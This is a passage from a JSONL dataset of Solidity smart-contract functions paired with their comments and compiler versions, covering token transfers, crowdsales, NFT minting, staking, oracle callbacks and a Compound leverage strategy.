RedemptionConfig({\r\n groupIdOut: _groupIdOut,\r\n amountOut: _data.amountOut,\r\n burnOnRedemption: _data.burnOnRedemption\r\n });\r\n\r\n // uint256 groupId;\r\n // uint256 amountOut;\r\n // bool burnOnRedemption;\r\n\r\n emit ConfigUpdate(_groupIdIn, _groupIdOut, _tokenOut, _data.amountOut, _data.burnOnRedemption);\r\n }", "version": "0.7.6"} {"comment": "//Note: returns a boolean indicating whether transfer was successful", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0)); //not sending to burn address\r\n require(_value <= balances[msg.sender]); // If the sender has sufficient funds to send\r\n require(_value>0);// and the amount is not zero or negative\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// low level token purchase function\n//implements the logic for the token buying", "function_code": "function buyTokens(address beneficiary) public payable {\r\n //tokens cannot be burned by sending to 0x0 address\r\n require(beneficiary != address(0));\r\n //token must adhere to the valid restrictions of the validPurchase() function, ie within time period and buying tokens within max/min limits\r\n require(validPurchase(beneficiary));\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be bought\r\n uint256 tokens = getTokenAmount(weiAmount);\r\n\r\n //Logic so that investors must purchase at least 1 token.\r\n require(weiAmount >= minPurchaseInEth); \r\n\r\n //Token transfer\r\n require(token.transfer(beneficiary, tokens));\r\n\r\n // update state\r\n //increment the total ammount raised by the amount of this transaction\r\n weiRaised = weiRaised.add(weiAmount);\r\n //decrease the amount of remainingTokens by the amount of tokens sold\r\n remainingTokens = remainingTokens.sub(tokens);\r\n //increase the investment total of the buyer\r\n invested[beneficiary] = invested[beneficiary].add(msg.value);\r\n\r\n emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n\r\n //transfer the ether received to the specified recipient address\r\n forwardFunds();\r\n }", "version": "0.4.23"} {"comment": "// Function to have a way to add business logic to your crowdsale when buying", "function_code": "function getTokenAmount(uint256 weiAmount) internal returns(uint256) {\r\n //Logic for pricing based on the Tiers of the crowdsale\r\n // These bonus amounts and the number of tiers itself can be changed\r\n /*This means that:\r\n - If you purchase within the tier 1 ICO (earliest tier)\r\n you receive a 20% bonus in your token purchase.\r\n - If you purchase within the tier 2 ICO (later tier)\r\n you receive a 10% bonus in your token purchase.\r\n - If you purchase outside of any of the defined bonus tiers then you\r\n receive the original rate of tokens (1 token per 0.01 ether)\r\n */\r\n if (now>=tier1Start && now < tier1End) {\r\n rate = 120;\r\n }else if (now>=tier2Start && now < tier2End) {\r\n rate = 110;\r\n }else {\r\n rate = 100;\r\n }\r\n\r\n return weiAmount.mul(rate);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n \t * @notice mint brand new RogueRhino nfts\r\n \t * @param _numRhinos is the number of rhinos to mint\r\n \t */", "function_code": "function mintRhino(uint256 _numRhinos) public payable saleIsLive {\r\n\t\trequire(tx.origin == msg.sender, \"Humans only\");\r\n\t\trequire(_numRhinos > 0, \"0 mint\");\r\n\t\trequire(_numRhinos < MINT_MAX, \"20 max\");\r\n\t\trequire(msg.value == (_numRhinos * mintPrice), \"Wrong ETH\");\r\n\r\n\t\t_mintRhinos(msg.sender, _numRhinos);\r\n\t}", "version": "0.8.4"} {"comment": "/**\r\n \t * @notice mint rhinos from the two allowlists. \r\n \t * Raging Rhinos got rugged. If you held Raging (rugged) Rhinos\r\n \t * at the snapshot (Jan 25th 2022) you got on the Rogue allowlist.\r\n \t * @dev you do not have to mint all your quota at once but \r\n \t * you must pass the same sig and claimQuota each time you mint.\r\n \t * @param _numToMint number of rhinos to mint in this call\r\n \t * @param _sig allowlist signature\r\n \t * @param _claimQuota initial allowlist quota to claim\r\n \t * @param _listId 1 for raging rhino holder, 2 for public allowlist\r\n \t */", "function_code": "function rogueListMint(\r\n\t\tuint256 _numToMint,\r\n\t\tbytes calldata _sig,\r\n\t\tuint256 _claimQuota,\r\n\t\tuint256 _listId\r\n\t) \r\n\t\tpublic\r\n\t\tpayable\r\n\t\tpresaleIsLive\r\n\t{\r\n\t\t//which allowlist is msg.sender in?\r\n\t\tif (_listId == 1) { //rogue allowlist\r\n\t\t\trequire(msg.value == 0, \"Wrong ETH\");\r\n\t\t} else if (_listId == 2) { //public allowlist\r\n\t\t\trequire(msg.value == (mintPrice * _numToMint), \"Wrong ETH\");\r\n\t\t} else { //for completeness\r\n\t\t\trevert(\"Bad listId\");\r\n\t\t}\r\n\r\n\t\trequire(tx.origin == msg.sender, \"Humans only\");\r\n\t\trequire(_numToMint > 0, \"0 mint\");\r\n\t\tuint256 _minted = minted[msg.sender]; //local var for gas efficiency\r\n\t\trequire(_numToMint + _minted <= _claimQuota, \"Quota exceeded\");\r\n\t\trequire(legitSigner(_sig, _claimQuota, _listId), \"Invalid sig\");\r\n\t\t_minted += _numToMint;\r\n\r\n\t\tminted[msg.sender] = _minted;\r\n\r\n\t\t_mintRhinos(msg.sender, _numToMint);\r\n\t}", "version": "0.8.4"} {"comment": "/**\r\n \t * @notice list all the rhinos in a wallet\r\n \t * @dev useful for staking in future utility\r\n \t * @dev don't call from a contract or you'll \r\n \t * ruin yourself with gas\r\n \t */", "function_code": "function walletOfOwner(address _addr) \r\n public \r\n virtual \r\n view\r\n returns (uint256[] memory) \r\n {\r\n uint256 ownerBal = balanceOf(_addr);\r\n if (ownerBal == 0) {\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory tokenList = new uint256[](ownerBal);\r\n uint256 count;\r\n uint256 maxLoops = totalSupply;\r\n for (uint i = 0; i < maxLoops; i++) {\r\n bool exists = _exists(i);\r\n if (exists && ownerOf(i) == _addr) {\r\n tokenList[count] = i;\r\n count++;\r\n } else if (!exists && tokenList[ownerBal - 1] == 0) {\r\n maxLoops++;\r\n }\r\n }\r\n return tokenList;\r\n }\r\n }", "version": "0.8.4"} {"comment": "///withdraw to trusted wallets", "function_code": "function withdraw() public {\r\n\t\t//team shares assigned in constructor are access keys\r\n\t\trequire(teamShares[msg.sender] > 0, \"Team only\");\r\n\t\tuint256 bal = address(this).balance;\r\n\r\n\t\tfor (uint256 mem = 0; mem < teamAddrs.length; mem++) {\r\n\t\t\taddress adi = teamAddrs[mem];\r\n\t\t\tpayable(adi).send(teamShares[adi] * bal / 10000);\r\n\t\t}\r\n\t}", "version": "0.8.4"} {"comment": "/**\r\n \t * @notice mint function called by multiple other functions\r\n \t * @param _to recipient address\r\n \t * @param _num number of rhinos to mint\r\n \t */", "function_code": "function _mintRhinos(address _to, uint256 _num) internal {\r\n\t\tuint256 _totalSupply = totalSupply; //temp var for gas efficiency\r\n\t\trequire(_totalSupply + _num < MAX_RHINOS, \"Too few Rhinos left!\");\r\n\r\n\t\tfor (uint256 r = 0; r < _num; r++) {\r\n\t\t\tunchecked { //overflow checked above\r\n\t\t\t\t_totalSupply++;\r\n\t\t\t}\r\n\t\t\t_safeMint(_to, _totalSupply); //trusted parent\r\n\t\t}\r\n\t\ttotalSupply = _totalSupply;\r\n\t}", "version": "0.8.4"} {"comment": "/**\r\n \t * @notice was the correct hash signed by the msgSigner?\r\n \t * @param _sig the signed hash to inspect\r\n \t * @dev _sig should be a signed hash of the sender, \r\n \t * this contract, their quota and the whitelist id. \r\n \t * The signer is recovered and compared to msgSigner for validity.\r\n \t */", "function_code": "function legitSigner(bytes memory _sig, uint256 _numToHash, uint256 _wlId)\r\n\tprivate \r\n\tview\r\n\treturns (bool)\r\n\t{\r\n\t\t//hash the sender, this address, and a number\r\n\t\t//this should be the same hash as signed in _sig\r\n\t\tbytes32 checkHash = keccak256(abi.encodePacked(\r\n\t\t\tmsg.sender,\r\n\t\t\taddress(this),\r\n\t\t\t_numToHash,\r\n\t\t\t_wlId\r\n\t\t));\r\n\r\n\t\tbytes32 ethHash = ECDSA.toEthSignedMessageHash(checkHash);\r\n\t\taddress recoveredSigner = ECDSA.recover(ethHash, _sig);\r\n\t\treturn (recoveredSigner == msgSigner);\r\n\t}", "version": "0.8.4"} {"comment": "/*\n * Set the reward peroid. If only possible to set the reward period after last rewards have been\n * expired.\n *\n * @param _periodStart timestamp of reward starting time\n * @param _rewardsDuration the duration of rewards in seconds\n */", "function_code": "function setPeriod(uint64 _periodStart, uint64 _rewardsDuration) public onlyOwner {\n require(_periodStart >= block.timestamp, \"OpenDAOStaking: _periodStart shouldn't be in the past\");\n require(_rewardsDuration > 0, \"OpenDAOStaking: Invalid rewards duration\");\n\n Config memory cfg = config;\n require(cfg.periodFinish < block.timestamp, \"OpenDAOStaking: The last reward period should be finished before setting a new one\");\n\n uint64 _periodFinish = _periodStart + _rewardsDuration;\n config.periodStart = _periodStart;\n config.periodFinish = _periodFinish;\n config.totalReward = 0;\n }", "version": "0.8.9"} {"comment": "/*\n * Returns the frozen rewards\n *\n * @returns amount of frozen rewards\n */", "function_code": "function frozenRewards() public view returns(uint256) {\n Config memory cfg = config;\n\n uint256 time = block.timestamp;\n uint256 remainingTime;\n uint256 duration = uint256(cfg.periodFinish) - uint256(cfg.periodStart);\n\n if (time <= cfg.periodStart) {\n remainingTime = duration;\n } else if (time >= cfg.periodFinish) {\n remainingTime = 0;\n } else {\n remainingTime = cfg.periodFinish - time;\n }\n\n return remainingTime * uint256(cfg.totalReward) / duration;\n }", "version": "0.8.9"} {"comment": "/*\n * Staking specific amount of SOS token and get corresponding amount of veSOS\n * as the user's share in the pool\n *\n * @param _sosAmount\n */", "function_code": "function enter(uint256 _sosAmount) external {\n require(_sosAmount > 0, \"OpenDAOStaking: Should at least stake something\");\n\n uint256 totalSOS = getSOSPool();\n uint256 totalShares = totalSupply();\n\n sos.safeTransferFrom(msg.sender, address(this), _sosAmount);\n\n if (totalShares == 0 || totalSOS == 0) {\n _mint(msg.sender, _sosAmount);\n } else {\n uint256 _share = _sosAmount * totalShares / totalSOS;\n _mint(msg.sender, _share);\n }\n }", "version": "0.8.9"} {"comment": "/*\n * Redeem specific amount of veSOS to SOS tokens according to the user's share in the pool.\n * veSOS will be burnt.\n *\n * @param _share\n */", "function_code": "function leave(uint256 _share) external {\n require(_share > 0, \"OpenDAOStaking: Should at least unstake something\");\n\n uint256 totalSOS = getSOSPool();\n uint256 totalShares = totalSupply();\n\n _burn(msg.sender, _share);\n\n uint256 _sosAmount = _share * totalSOS / totalShares;\n sos.safeTransfer(msg.sender, _sosAmount);\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Public Mint\r\n */", "function_code": "function mintPublic() public payable nonReentrant \r\n {\r\n require(tx.origin == msg.sender, \"Bad.\");\r\n require(publicMintState, \"Public mint is currently paused.\");\r\n uint256 currentSupply = totalSupply();\r\n require(currentSupply < MAX_SUPPLY, \"Maximum amount of NFTs have been minted.\");\r\n require(msg.value >= mintPrice, \"Not enough Ether sent to mint an NFT.\");\r\n _safeMint(msg.sender, 1);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Whitelist Mint\r\n */", "function_code": "function mintWhitelist(uint256 _amount) public nonReentrant \r\n {\r\n require(tx.origin == msg.sender, \"Bad.\");\r\n require(whitelistMintState, \"Whitelist mint is currently paused.\");\r\n uint256 currentSupply = totalSupply();\r\n require(_amount <= whitelist[msg.sender], \"You can't mint that many NFT's\");\r\n require((currentSupply + _amount) < maxWhitelistAmount, \"Max whitelist NFTs minted.\");\r\n require(_amount > 0, \"Amount must be greater than zero.\");\r\n whitelist[msg.sender] -= _amount;\r\n _safeMint(msg.sender, _amount);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Requests updating rate from oraclize.\r\n */", "function_code": "function updateRate() external onlyBank returns (bool) {\r\n if (getPrice() > this.balance) {\r\n OraclizeError(\"Not enough ether\");\r\n return false;\r\n }\r\n bytes32 queryId = oraclize_query(oracleConfig.datasource, oracleConfig.arguments, gasLimit, priceLimit);\r\n \r\n if (queryId == bytes32(0)) {\r\n OraclizeError(\"Unexpectedly high query price\");\r\n return false;\r\n }\r\n\r\n NewOraclizeQuery();\r\n validIds[queryId] = true;\r\n waitQuery = true;\r\n updateTime = now;\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Oraclize default callback with the proof set.\r\n * @param myid The callback ID.\r\n * @param result The callback data.\r\n * @param proof The oraclize proof bytes.\r\n */", "function_code": "function __callback(bytes32 myid, string result, bytes proof) public {\r\n require(validIds[myid] && msg.sender == oraclize_cbAddress());\r\n\r\n rate = Helpers.parseIntRound(result, 3); // save it in storage as 1/1000 of $\r\n delete validIds[myid];\r\n callbackTime = now;\r\n waitQuery = false;\r\n PriceTicker(result, myid, proof);\r\n }", "version": "0.4.23"} {"comment": "// ######################\n// ##### ONLY OWNER #####\n// ######################", "function_code": "function addLiquidity() external onlyOwner() {\r\n require(!m_TradingOpened,\"trading is already open\");\r\n m_Whitelist[_msgSender()] = true;\r\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n m_UniswapV2Router = _uniswapV2Router;\r\n m_Whitelist[address(m_UniswapV2Router)] = true;\r\n _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);\r\n m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());\r\n m_Whitelist[m_UniswapV2Pair] = true;\r\n m_Exchange[m_UniswapV2Pair] = true;\r\n m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);\r\n m_SwapEnabled = true;\r\n m_TradingOpened = true;\r\n IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Set the limit of a class.\r\n * @param _id The id of the class.\r\n * @param _limit The limit of the class.\r\n */", "function_code": "function setLimit(uint256 _id, uint256 _limit) external onlyOwner {\r\n Info storage info = table[_id];\r\n Action action = getAction(info.limit, _limit);\r\n if (action == Action.Insert) {\r\n info.index = array.length;\r\n info.limit = _limit;\r\n array.push(_id);\r\n }\r\n else if (action == Action.Update) {\r\n info.limit = _limit;\r\n }\r\n else if (action == Action.Remove) {\r\n // at this point we know that array.length > info.index >= 0\r\n uint256 last = array[array.length - 1]; // will never underflow\r\n table[last].index = info.index;\r\n array[info.index] = last;\r\n array.length -= 1; // will never underflow\r\n delete table[_id];\r\n }\r\n emit ActionCompleted(_id, _limit, action);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Get the required action.\r\n * @param _prev The old limit.\r\n * @param _next The new limit.\r\n * @return The required action.\r\n */", "function_code": "function getAction(uint256 _prev, uint256 _next) private pure returns (Action) {\r\n if (_prev == 0 && _next != 0)\r\n return Action.Insert;\r\n if (_prev != 0 && _next == 0)\r\n return Action.Remove;\r\n if (_prev != _next)\r\n return Action.Update;\r\n return Action.None;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfer tokens in batches (of adresses)\r\n * @param _vaddr address The address which you want to send tokens from\r\n * @param _vamounts address The address which you want to transfer to\r\n */", "function_code": "function batchAssignTokens(address[] _vaddr, uint[] _vamounts, uint[] _vDefrostClass ) onlyOwner {\r\n\r\n\t\t\trequire ( batchAssignStopped == false );\r\n\t\t\trequire ( _vaddr.length == _vamounts.length && _vaddr.length == _vDefrostClass.length);\r\n\t\t\t//Looping into input arrays to assign target amount to each given address\r\n\t\t\tfor (uint index=0; index<_vaddr.length; index++) {\r\n\r\n\t\t\t\taddress toAddress = _vaddr[index];\r\n\t\t\t\tuint amount = SafeMath.mul(_vamounts[index], 10 ** decimals);\r\n\t\t\t\tuint defrostClass = _vDefrostClass[index]; // 0=ico investor, 1=reserveandteam/advisors\r\n\r\n\t\t\t\tif ( defrostClass == 0 ) {\r\n\t\t\t\t\t// investor account\r\n\t\t\t\t\ttransfer(toAddress, amount);\r\n\t\t\t\t\tassignedSupply = SafeMath.add(assignedSupply, amount);\r\n\t\t\t\t}\r\n\t\t\t\telse if(defrostClass == 1){\r\n\r\n\t\t\t\t\t// Iced account. The balance is not affected here\r\n vIcedBalances.push(toAddress);\r\n icedBalances_frosted[toAddress] = amount;\r\n\t\t\t\t\ticedBalances_defrosted[toAddress] = 0;\r\n\t\t\t\t\tassignedSupply = SafeMath.add(assignedSupply, amount);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}", "version": "0.4.23"} {"comment": "/*\r\n * An accurate estimate for the total amount of assets (principle + return)\r\n * that this strategy is currently managing, denominated in terms of want tokens.\r\n */", "function_code": "function estimatedTotalAssets() public override view returns (uint256) {\r\n (uint256 deposits, uint256 borrows) = getCurrentPosition();\r\n\r\n uint256 _claimableComp = predictCompAccrued();\r\n uint256 currentComp = IERC20(comp).balanceOf(address(this));\r\n\r\n // Use touch price. it doesnt matter if we are wrong as this is not used for decision making\r\n uint256 estimatedWant = priceCheck(comp, address(want),_claimableComp.add(currentComp));\r\n uint256 conservativeWant = estimatedWant.mul(9).div(10); //10% pessimist\r\n\r\n return want.balanceOf(address(this)).add(deposits).add(conservativeWant).sub(borrows);\r\n }", "version": "0.6.12"} {"comment": "//predicts our profit at next report", "function_code": "function expectedReturn() public view returns (uint256) {\r\n uint256 estimateAssets = estimatedTotalAssets();\r\n\r\n uint256 debt = vault.strategies(address(this)).totalDebt;\r\n if (debt > estimateAssets) {\r\n return 0;\r\n } else {\r\n return estimateAssets - debt;\r\n }\r\n }", "version": "0.6.12"} {"comment": "//WARNING. manipulatable and simple routing. Only use for safe functions", "function_code": "function priceCheck(address start, address end, uint256 _amount) public view returns (uint256) {\r\n if (_amount == 0) {\r\n return 0;\r\n }\r\n address[] memory path;\r\n if(start == weth){\r\n path = new address[](2);\r\n path[0] = weth;\r\n path[1] = end;\r\n }else{\r\n path = new address[](3);\r\n path[0] = start;\r\n path[1] = weth;\r\n path[2] = end;\r\n }\r\n\r\n uint256[] memory amounts = IUni(uniswapRouter).getAmountsOut(_amount, path);\r\n\r\n return amounts[amounts.length - 1];\r\n }", "version": "0.6.12"} {"comment": "//Calculate how many blocks until we are in liquidation based on current interest rates\n//WARNING does not include compounding so the estimate becomes more innacurate the further ahead we look\n//equation. Compound doesn't include compounding for most blocks\n//((deposits*colateralThreshold - borrows) / (borrows*borrowrate - deposits*colateralThreshold*interestrate));", "function_code": "function getblocksUntilLiquidation() public view returns (uint256) {\r\n (, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));\r\n\r\n (uint256 deposits, uint256 borrows) = getCurrentPosition();\r\n\r\n uint256 borrrowRate = cToken.borrowRatePerBlock();\r\n\r\n uint256 supplyRate = cToken.supplyRatePerBlock();\r\n\r\n uint256 collateralisedDeposit1 = deposits.mul(collateralFactorMantissa).div(1e18);\r\n uint256 collateralisedDeposit = collateralisedDeposit1;\r\n\r\n uint256 denom1 = borrows.mul(borrrowRate);\r\n uint256 denom2 = collateralisedDeposit.mul(supplyRate);\r\n\r\n if (denom2 >= denom1) {\r\n return type(uint256).max;\r\n } else {\r\n uint256 numer = collateralisedDeposit.sub(borrows);\r\n uint256 denom = denom1 - denom2;\r\n //minus 1 for this block\r\n return numer.mul(1e18).div(denom);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// This function makes a prediction on how much comp is accrued\n// It is not 100% accurate as it uses current balances in Compound to predict into the past", "function_code": "function predictCompAccrued() public view returns (uint256) {\r\n (uint256 deposits, uint256 borrows) = getCurrentPosition();\r\n if (deposits == 0) {\r\n return 0; // should be impossible to have 0 balance and positive comp accrued\r\n }\r\n\r\n //comp speed is amount to borrow or deposit (so half the total distribution for want)\r\n uint256 distributionPerBlock = compound.compSpeeds(address(cToken));\r\n\r\n uint256 totalBorrow = cToken.totalBorrows();\r\n\r\n //total supply needs to be echanged to underlying using exchange rate\r\n uint256 totalSupplyCtoken = cToken.totalSupply();\r\n uint256 totalSupply = totalSupplyCtoken.mul(cToken.exchangeRateStored()).div(1e18);\r\n\r\n uint256 blockShareSupply = 0;\r\n if(totalSupply > 0){\r\n blockShareSupply = deposits.mul(distributionPerBlock).div(totalSupply);\r\n }\r\n\r\n uint256 blockShareBorrow = 0;\r\n if(totalBorrow > 0){\r\n blockShareBorrow = borrows.mul(distributionPerBlock).div(totalBorrow);\r\n }\r\n\r\n //how much we expect to earn per block\r\n uint256 blockShare = blockShareSupply.add(blockShareBorrow);\r\n\r\n //last time we ran harvest\r\n uint256 lastReport = vault.strategies(address(this)).lastReport;\r\n uint256 blocksSinceLast= (block.timestamp.sub(lastReport)).div(13); //roughly 13 seconds per block\r\n\r\n return blocksSinceLast.mul(blockShare);\r\n }", "version": "0.6.12"} {"comment": "//sell comp function", "function_code": "function _disposeOfComp() internal {\r\n uint256 _comp = IERC20(comp).balanceOf(address(this));\r\n\r\n if (_comp > minCompToSell) {\r\n address[] memory path = new address[](3);\r\n path[0] = comp;\r\n path[1] = weth;\r\n path[2] = address(want);\r\n\r\n IUni(uniswapRouter).swapExactTokensForTokens(_comp, uint256(0), path, address(this), now);\r\n }\r\n }", "version": "0.6.12"} {"comment": "//lets leave\n//if we can't deleverage in one go set collateralFactor to 0 and call harvest multiple times until delevered", "function_code": "function prepareMigration(address _newStrategy) internal override {\r\n\r\n if(!forceMigrate){\r\n (uint256 deposits, uint256 borrows) = getLivePosition();\r\n _withdrawSome(deposits.sub(borrows));\r\n\r\n (, , uint256 borrowBalance, ) = cToken.getAccountSnapshot(address(this));\r\n\r\n require(borrowBalance < 10_000);\r\n\r\n IERC20 _comp = IERC20(comp);\r\n uint _compB = _comp.balanceOf(address(this));\r\n if(_compB > 0){\r\n _comp.safeTransfer(_newStrategy, _compB);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "//Three functions covering normal leverage and deleverage situations\n// max is the max amount we want to increase our borrowed balance\n// returns the amount we actually did", "function_code": "function _noFlashLoan(uint256 max, bool deficit) internal returns (uint256 amount) {\r\n //we can use non-state changing because this function is always called after _calculateDesiredPosition\r\n (uint256 lent, uint256 borrowed) = getCurrentPosition();\r\n\r\n //if we have nothing borrowed then we can't deleverage any more\r\n if (borrowed == 0 && deficit) {\r\n return 0;\r\n }\r\n\r\n (, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));\r\n\r\n if (deficit) {\r\n amount = _normalDeleverage(max, lent, borrowed, collateralFactorMantissa);\r\n } else {\r\n amount = _normalLeverage(max, lent, borrowed, collateralFactorMantissa);\r\n }\r\n\r\n emit Leverage(max, amount, deficit, address(0));\r\n }", "version": "0.6.12"} {"comment": "//maxDeleverage is how much we want to reduce by", "function_code": "function _normalDeleverage(\r\n uint256 maxDeleverage,\r\n uint256 lent,\r\n uint256 borrowed,\r\n uint256 collatRatio\r\n ) internal returns (uint256 deleveragedAmount) {\r\n uint256 theoreticalLent = 0;\r\n\r\n //collat ration should never be 0. if it is something is very wrong... but just incase\r\n if(collatRatio != 0){\r\n theoreticalLent = borrowed.mul(1e18).div(collatRatio);\r\n }\r\n deleveragedAmount = lent.sub(theoreticalLent);\r\n\r\n if (deleveragedAmount >= borrowed) {\r\n deleveragedAmount = borrowed;\r\n }\r\n if (deleveragedAmount >= maxDeleverage) {\r\n deleveragedAmount = maxDeleverage;\r\n }\r\n uint256 exchangeRateStored = cToken.exchangeRateStored();\r\n //redeemTokens = redeemAmountIn *1e18 / exchangeRate. must be more than 0\r\n //a rounding error means we need another small addition\r\n if(deleveragedAmount.mul(1e18) >= exchangeRateStored && deleveragedAmount > 10){\r\n deleveragedAmount = deleveragedAmount -10;\r\n cToken.redeemUnderlying(deleveragedAmount);\r\n\r\n //our borrow has been increased by no more than maxDeleverage\r\n cToken.repayBorrow(deleveragedAmount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "//maxDeleverage is how much we want to increase by", "function_code": "function _normalLeverage(\r\n uint256 maxLeverage,\r\n uint256 lent,\r\n uint256 borrowed,\r\n uint256 collatRatio\r\n ) internal returns (uint256 leveragedAmount) {\r\n uint256 theoreticalBorrow = lent.mul(collatRatio).div(1e18);\r\n\r\n leveragedAmount = theoreticalBorrow.sub(borrowed);\r\n\r\n if (leveragedAmount >= maxLeverage) {\r\n leveragedAmount = maxLeverage;\r\n }\r\n if(leveragedAmount > 10){\r\n leveragedAmount = leveragedAmount -10;\r\n cToken.borrow(leveragedAmount);\r\n cToken.mint(want.balanceOf(address(this)));\r\n }\r\n\r\n }", "version": "0.6.12"} {"comment": "//DyDx calls this function after doing flash loan", "function_code": "function callFunction(\r\n address sender,\r\n Account.Info memory account,\r\n bytes memory data\r\n ) public override {\r\n (bool deficit, uint256 amount) = abi.decode(data, (bool, uint256));\r\n require(msg.sender == SOLO);\r\n require(sender == address(this));\r\n\r\n FlashLoanLib.loanLogic(deficit, amount, cToken);\r\n }", "version": "0.6.12"} {"comment": "// UPDATE CONTRACT", "function_code": "function setInternalDependencies(address[] _newDependencies) public onlyOwner {\r\n super.setInternalDependencies(_newDependencies);\r\n\r\n core = Core(_newDependencies[0]);\r\n dragonParams = DragonParams(_newDependencies[1]);\r\n dragonGetter = DragonGetter(_newDependencies[2]);\r\n dragonMarketplace = DragonMarketplace(_newDependencies[3]);\r\n breedingMarketplace = BreedingMarketplace(_newDependencies[4]);\r\n eggMarketplace = EggMarketplace(_newDependencies[5]);\r\n skillMarketplace = SkillMarketplace(_newDependencies[6]);\r\n distribution = Distribution(_newDependencies[7]);\r\n treasury = Treasury(_newDependencies[8]);\r\n gladiatorBattle = GladiatorBattle(_newDependencies[9]);\r\n gladiatorBattleStorage = GladiatorBattleStorage(_newDependencies[10]);\r\n }", "version": "0.4.25"} {"comment": "/**\n \t * @dev Binds an iNFT instance to already deployed AI Pod instance\n \t *\n \t * @param _pod address of the deployed AI Pod instance to bind iNFT to\n \t */", "function_code": "function setPodContract(address _pod) public {\n\t\t// verify sender has permission to access this function\n\t\trequire(isSenderInRole(ROLE_DEPLOYER), \"access denied\");\n\n\t\t// verify the input is set\n\t\trequire(_pod != address(0), \"AI Pod addr is not set\");\n\n\t\t// verify _pod is valid ERC721\n\t\trequire(IERC165(_pod).supportsInterface(type(IERC721).interfaceId), \"AI Pod addr is not ERC721\");\n\n\t\t// setup smart contract internal state\n\t\tpodContract = _pod;\n\n\t\t// emit an event\n\t\temit PodContractSet(_msgSender(), _pod);\n\t}", "version": "0.8.4"} {"comment": "/**\n \t * @dev Binds an iNFT instance to already deployed ALI Token instance\n \t *\n \t * @param _ali address of the deployed ALI Token instance to bind iNFT to\n \t */", "function_code": "function setAliContract(address _ali) public {\n\t\t// verify sender has permission to access this function\n\t\trequire(isSenderInRole(ROLE_DEPLOYER), \"access denied\");\n\n\t\t// verify the input is set\n\t\trequire(_ali != address(0), \"ALI Token addr is not set\");\n\n\t\t// verify _ali is valid ERC20\n\t\trequire(IERC165(_ali).supportsInterface(type(IERC20).interfaceId), \"ALI Token addr is not ERC20\");\n\n\t\t// setup smart contract internal state\n\t\taliContract = _ali;\n\n\t\t// emit an event\n\t\temit AliContractSet(_msgSender(), _ali);\n\t}", "version": "0.8.4"} {"comment": "/**\n \t * @notice Returns an owner of the given iNFT.\n \t * By definition iNFT owner is an owner of the target NFT\n \t *\n \t * @param recordId iNFT ID to query ownership information for\n \t * @return address of the given iNFT owner\n \t */", "function_code": "function ownerOf(uint256 recordId) public view override returns (address) {\n\t\t// read the token binding\n\t\tIntelliBinding memory binding = bindings[recordId];\n\n\t\t// verify the binding exists and throw standard Zeppelin message if not\n\t\trequire(binding.targetContract != address(0), \"iNFT doesn't exist\");\n\n\t\t// delegate `ownerOf` call to the target NFT smart contract\n\t\treturn IERC721(binding.targetContract).ownerOf(binding.targetId);\n\t}", "version": "0.8.4"} {"comment": "// send tokens and ETH for liquidity to contract directly, then call this function.\n//(not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)", "function_code": "function launch(/*address[] memory airdropWallets, uint256[] memory amounts*/) external onlyOwner returns (bool){\n require(!tradingActive, \"Trading is already active, cannot relaunch.\");\n /*require(airdropWallets.length < 200, \"Can only airdrop 200 wallets per txn due to gas limits\"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.\n for(uint256 i = 0; i < airdropWallets.length; i++){\n address wallet = airdropWallets[i];\n uint256 amount = amounts[i];\n _transfer(msg.sender, wallet, amount);\n }*/\n enableTrading();\n /*\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uniswap Router v2\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n */\n require(address(this).balance > 0, \"Must have ETH on contract to launch\");\n addLiquidity(balanceOf(address(this)), address(this).balance);\n //setLiquidityAddress(address(0xdead));\n return true;\n }", "version": "0.8.9"} {"comment": "/*function setGasPriceLimit(uint256 gas) external onlyOwner {\n require(gas >= 200);\n gasPriceLimit = gas * 1 gwei;\n }*/", "function_code": "function reflectionFromToken(uint256 tAmount, bool deductTransferFee)\n external\n view\n returns (uint256)\n {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }", "version": "0.8.9"} {"comment": "//withdrawal or refund for investor and beneficiary", 